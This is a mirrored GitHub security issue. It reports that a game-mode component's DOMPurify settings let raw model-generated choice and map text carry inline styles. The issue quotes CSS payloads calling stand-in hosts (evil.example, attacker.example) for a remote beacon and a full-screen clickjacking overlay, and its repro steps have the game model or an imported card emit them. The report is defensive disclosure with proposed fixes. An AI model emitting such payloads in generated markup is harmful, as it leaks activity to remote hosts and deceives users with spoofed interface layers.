[GH-ISSUE #2367] [Issue]: Game-mode AnimatedText permits the style attribute and renders raw model choice/map text (CSS exfil + clickjacking) #1167

Closed
opened 2026-10-21 05:28:15 +07:00 by bsakaguchi · 1 comment
Owner

Originally created by @Romuromylus on GitHub (Jun 5, 2026).
Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2367

Originally assigned to: @Romuromylus on GitHub.

Summary

Severity: Medium — XSS-class (CSS injection / exfil / clickjacking).

The game-mode AnimatedText component's DOMPurify config permits the style attribute, and several call sites feed it raw model content (choice text, map descriptions) that never passes through formatNarration's HTML-escaping. So a hostile model/imported [choices: ...] or map description containing an inline <span style=...> renders a live CSS exfil beacon or a full-viewport clickjacking overlay. The sibling narration path (formatNarration) deliberately forbids style — this is the same guard present on one path and missing on another.

Expected behavior

AnimatedText should not allow content-controlled style (it only needs style for its own internally-generated per-character wave delay), and raw model strings should be HTML-escaped before reaching it, exactly as formatNarration does.

Actual behavior

AnimatedText's DOMPurify allows style (src/features/modes/game/components/AnimatedText.tsx:227-231 and :240-243):

export function animateTextHtml(html: string): string {
  let result = applyTextEffects(html);
  result = wrapCharactersForWave(result);
  return DOMPurify.sanitize(result, {
    ALLOWED_TAGS: ["strong", "em", "br", "span"],
    ALLOWED_ATTR: ["class", "style"],   // <-- style permitted; CSS not filtered for url()/position
  });
}

The stricter sibling forbids it (src/features/modes/game/lib/game-narration-format.ts:159):

return DOMPurify.sanitize(html, { ALLOWED_TAGS: ["strong", "em", "br", "span"], ALLOWED_ATTR: ["class"] });

Raw call sites feed model content directly, bypassing the formatNarration pre-escape:

// GameChoiceCards.tsx:83
<AnimatedText html={choice} />
// GameGridMap.tsx:89
<AnimatedText html={map.description || ""} className="text-xs text-[var(--muted-foreground)]" />

choice comes straight from the model's [choices:] tag — game-tag-parser.ts:786-795 extracts the balanced tag, splits on |, and strips only surrounding quotes (/^["']|["']$/g); no HTML escaping. map.description is model/scene-derived. I verified empirically against the installed dompurify@3.4.3 with the exact AnimatedText config: <span style="background:url(https://evil.example/leak.png)">x</span> and <span style="position:fixed;inset:0;width:100vw;height:100vh;background:#000">x</span> both survive unchanged, while <img src=x onerror=alert(1)> is correctly stripped. The same payloads through the formatNarration class-only config have style stripped. With tauri.conf.json security.csp = null, the url() request fires on render.

Impact ceiling is CSS-only (script/event-handlers/javascript: are stripped by DOMPurify): a background:url(...) exfil beacon that confirms the content was opened and fires a remote request from a local desktop install, plus a position:fixed full-viewport clickjacking / UI-spoof overlay. No arbitrary JS execution.

Steps to reproduce

  1. Have the GM model (or an imported card steering it) emit a choice such as [choices: "<span style=\"position:fixed;inset:0;background:url(https://attacker.example/beacon)\">Run</span>" | "Stay"].
  2. Render the game choice cards.
  3. Observe the beacon request fire and the overlay render over the game UI.

Impact area

  • Game mode
  • Shared mode UI

Environment

  • Branch or commit: refactor @ 330f69a8
  • Run mode: Tauri desktop
  • OS + version: not relevant (static source audit + local DOMPurify repro)
  • Node + pnpm versions: not relevant
  • Rust version, if relevant: not relevant
  • Remote Runtime URL configured? not relevant
  • Provider, model, or integration, if relevant: any provider — triggered by model output / imported content

Logs, screenshots, or video

Static source audit + empirical DOMPurify repro. Sink AnimatedText.tsx:227-231/:240-243; reference-safe sibling game-narration-format.ts:159; raw feeders GameChoiceCards.tsx:83, GameGridMap.tsx:89, also GameJournal.tsx:409 and GameSessionHistory.tsx; choice origin game-tag-parser.ts:786-795. Repro against dompurify@3.4.3: the two style payloads pass through unchanged; <img onerror> is stripped.

Regression notes

Found via static audit; not a regression. The web build carries byte-identical permissive config (packages/client/src/components/game/AnimatedText.tsx:228-229, ALLOWED_ATTR: ["class","style"]) and the identical raw call site (packages/client/src/components/game/GameChoiceCards.tsx:83), and main's game-tag-parser.ts splits choices raw the same way. Main does the same unsafe thing, so the refactor neither broke nor dropped a prior guard.

Additional context

Drop style from AnimatedText's ALLOWED_ATTR (move the per-character wave delay to a class / CSS custom property), matching formatNarration's ALLOWED_ATTR: ["class"] reference. Alternatively keep style but add a DOMPurify uponSanitizeAttribute hook on style that forbids url(, @import, expression, and position:fixed. Additionally, pre-escape </> at the raw call sites (GameChoiceCards:83, GameGridMap:89, GameJournal:409, GameSessionHistory) the way formatNarration does, so model markup renders as text.

Template check

  • I DID NOT read this template and provide the requested details.
Originally created by @Romuromylus on GitHub (Jun 5, 2026). Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2367 Originally assigned to: @Romuromylus on GitHub. ## Summary **Severity: Medium — XSS-class (CSS injection / exfil / clickjacking).** The game-mode `AnimatedText` component's DOMPurify config permits the `style` attribute, and several call sites feed it raw model content (`choice` text, map descriptions) that never passes through `formatNarration`'s HTML-escaping. So a hostile model/imported `[choices: ...]` or map description containing an inline `<span style=...>` renders a live CSS exfil beacon or a full-viewport clickjacking overlay. The sibling narration path (`formatNarration`) deliberately forbids `style` — this is the same guard present on one path and missing on another. ## Expected behavior `AnimatedText` should not allow content-controlled `style` (it only needs `style` for its own internally-generated per-character wave delay), and raw model strings should be HTML-escaped before reaching it, exactly as `formatNarration` does. ## Actual behavior `AnimatedText`'s DOMPurify allows `style` (`src/features/modes/game/components/AnimatedText.tsx:227-231` and `:240-243`): ```ts export function animateTextHtml(html: string): string { let result = applyTextEffects(html); result = wrapCharactersForWave(result); return DOMPurify.sanitize(result, { ALLOWED_TAGS: ["strong", "em", "br", "span"], ALLOWED_ATTR: ["class", "style"], // <-- style permitted; CSS not filtered for url()/position }); } ``` The stricter sibling forbids it (`src/features/modes/game/lib/game-narration-format.ts:159`): ```ts return DOMPurify.sanitize(html, { ALLOWED_TAGS: ["strong", "em", "br", "span"], ALLOWED_ATTR: ["class"] }); ``` Raw call sites feed model content directly, bypassing the `formatNarration` pre-escape: ```tsx // GameChoiceCards.tsx:83 <AnimatedText html={choice} /> // GameGridMap.tsx:89 <AnimatedText html={map.description || ""} className="text-xs text-[var(--muted-foreground)]" /> ``` `choice` comes straight from the model's `[choices:]` tag — `game-tag-parser.ts:786-795` extracts the balanced tag, splits on `|`, and strips only surrounding quotes (`/^["']|["']$/g`); no HTML escaping. `map.description` is model/scene-derived. I verified empirically against the installed `dompurify@3.4.3` with the exact `AnimatedText` config: `<span style="background:url(https://evil.example/leak.png)">x</span>` and `<span style="position:fixed;inset:0;width:100vw;height:100vh;background:#000">x</span>` both survive **unchanged**, while `<img src=x onerror=alert(1)>` is correctly stripped. The same payloads through the `formatNarration` class-only config have `style` stripped. With `tauri.conf.json` `security.csp = null`, the `url()` request fires on render. Impact ceiling is CSS-only (script/event-handlers/`javascript:` are stripped by DOMPurify): a `background:url(...)` exfil beacon that confirms the content was opened and fires a remote request from a local desktop install, plus a `position:fixed` full-viewport clickjacking / UI-spoof overlay. No arbitrary JS execution. ## Steps to reproduce 1. Have the GM model (or an imported card steering it) emit a choice such as `[choices: "<span style=\"position:fixed;inset:0;background:url(https://attacker.example/beacon)\">Run</span>" | "Stay"]`. 2. Render the game choice cards. 3. Observe the beacon request fire and the overlay render over the game UI. ## Impact area - [x] Game mode - [x] Shared mode UI ## Environment - Branch or commit: refactor @ 330f69a8 - Run mode: Tauri desktop - OS + version: not relevant (static source audit + local DOMPurify repro) - Node + pnpm versions: not relevant - Rust version, if relevant: not relevant - Remote Runtime URL configured? not relevant - Provider, model, or integration, if relevant: any provider — triggered by model output / imported content ## Logs, screenshots, or video Static source audit + empirical DOMPurify repro. Sink `AnimatedText.tsx:227-231`/`:240-243`; reference-safe sibling `game-narration-format.ts:159`; raw feeders `GameChoiceCards.tsx:83`, `GameGridMap.tsx:89`, also `GameJournal.tsx:409` and `GameSessionHistory.tsx`; choice origin `game-tag-parser.ts:786-795`. Repro against `dompurify@3.4.3`: the two `style` payloads pass through unchanged; `<img onerror>` is stripped. ## Regression notes Found via static audit; **not a regression**. The web build carries byte-identical permissive config (`packages/client/src/components/game/AnimatedText.tsx:228-229`, `ALLOWED_ATTR: ["class","style"]`) and the identical raw call site (`packages/client/src/components/game/GameChoiceCards.tsx:83`), and main's `game-tag-parser.ts` splits choices raw the same way. Main does the same unsafe thing, so the refactor neither broke nor dropped a prior guard. ## Additional context Drop `style` from `AnimatedText`'s `ALLOWED_ATTR` (move the per-character wave delay to a `class` / CSS custom property), matching `formatNarration`'s `ALLOWED_ATTR: ["class"]` reference. Alternatively keep `style` but add a DOMPurify `uponSanitizeAttribute` hook on `style` that forbids `url(`, `@import`, `expression`, and `position:fixed`. Additionally, pre-escape `<`/`>` at the raw call sites (`GameChoiceCards:83`, `GameGridMap:89`, `GameJournal:409`, `GameSessionHistory`) the way `formatNarration` does, so model markup renders as text. ## Template check - [ ] I DID NOT read this template and provide the requested details.
bsakaguchi 2026-10-21 05:28:15 +07:00
Author
Owner

@Romuromylus commented on GitHub (Jun 6, 2026):

Fixed by #2425, merged into refactor.

<!-- gh-comment-id:4637901764 --> @Romuromylus commented on GitHub (Jun 6, 2026): Fixed by #2425, merged into `refactor`.
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
Pasta-Devs/Marinara-Engine#1167
No description provided.